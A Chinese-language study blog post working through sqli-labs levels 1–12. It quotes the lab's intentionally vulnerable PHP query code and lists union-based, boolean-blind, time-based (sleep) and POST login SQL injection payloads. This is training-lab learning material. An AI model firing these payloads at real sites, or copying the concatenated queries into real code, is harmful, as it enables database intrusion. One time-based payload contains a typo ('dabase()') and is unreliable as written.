提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前段时间大概学了一遍内网,免杀正好来将web这块重新复习一遍
由于是直接刷关所以只是让关卡报出注入点其余的都没搞。
首先明确SQL注入产生的原理是传递结构化语言时影响了数据库的执行叫做SQL注入。
这些关卡都是统一的get型注入而且都是通过联合查询的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
代码中通过mysql_query()和mysql_fetch_array()这两个函数先执行查询语句然后再将同一行的数据以数组形式输出,调用数据库列名称来呈现查询结果而mysql_error()这个函数的作用是输出mysql数据库报错的信息这也是做联合查询时的一个重要依据。
payload:
id=1' and 1=2 union select 1,2,3 --+
id=-1 union select 1,2,3
id=-1') union select 1,2,3 --+
id=-1") union select 1,2,3 --+
这几个关卡则是boolean型的盲注,盲注的意思是存在注入但是注入结果并不会返回到前端,而利用辅助手段帮助我们索引的过程叫盲注。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
这里面并没有出现新的函数就像上面所说与1~4关的区别就是没有结果返回到前端。
payload:
id=1' and length(database())>1 --+
id=1" and length(database())>1 --+
id=1')) and length(database())>1 --+
id=1' and length(database())>1 --+
在这里第5关和第8关的注入payload相同但是他们的源码不太一样
//第五关源码
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
//第八关源码
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
可以看到在代码中执行else时第五关会将mysql报错信息打印出来而第八关则是返回空也就是说第五关并不算是完全的布尔盲注。
延时注入,这一类与布尔注入一样都是属于盲注的一种但是对比起布尔盲注来说延时注入就多了if()和sleep()这两个函数
payload:
id=1' and if(length(dabase())>1,sleep(5),1) --+ //这里的1是用于占位
sleep()函数的含义为睡眠,sleep(5)就是睡眠5秒而payload的含义就是睡眠5秒后返回数据
如图:
与布尔盲注和联合查询相比延时注入算是最耗费时间的注入方法,并且延时注入容易受到网络环境的影响。
与GET型注入不同的地方就是POST注入一般要通过post请求去发送数据包然后是在数据包中去修改注入参数在数据包中找注入点,GET型注入则直接可以通过url来实现注入且数据包也是get请求发送的数据包,还有就是post注入可以通过溢出去绕过WAF,其余的则是相同的。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '';
echo "
";
echo '';
//echo " You Have successfully logged in\n\n " ;
echo '';
echo "
";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "
";
echo "";
echo "
";
echo "
";
echo '';
echo "";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo "";
echo '';
echo "";
}
}
在代码中主要是将输入的username和password放进数据库里对比如果对比下来为真则会返回username和password为假则返回空而注入就是出现在这里,这种注入一般来说会存在万能密码
这里的11和12关的方法与前面1~4关的方法相同就是请求方式不同
这次主要是手工去注入的没有尝试sqlmap工具去跑,在sqlmap中对GET和POST的处理方式也不同顺便我这边自己的盲注exp也没有完善,总的来说这次复习还算可以既复习了原来的知识又学了一点新的知识。
ps:萌新初次写文章有写的不好的地方望师傅斧正,在此感激不尽。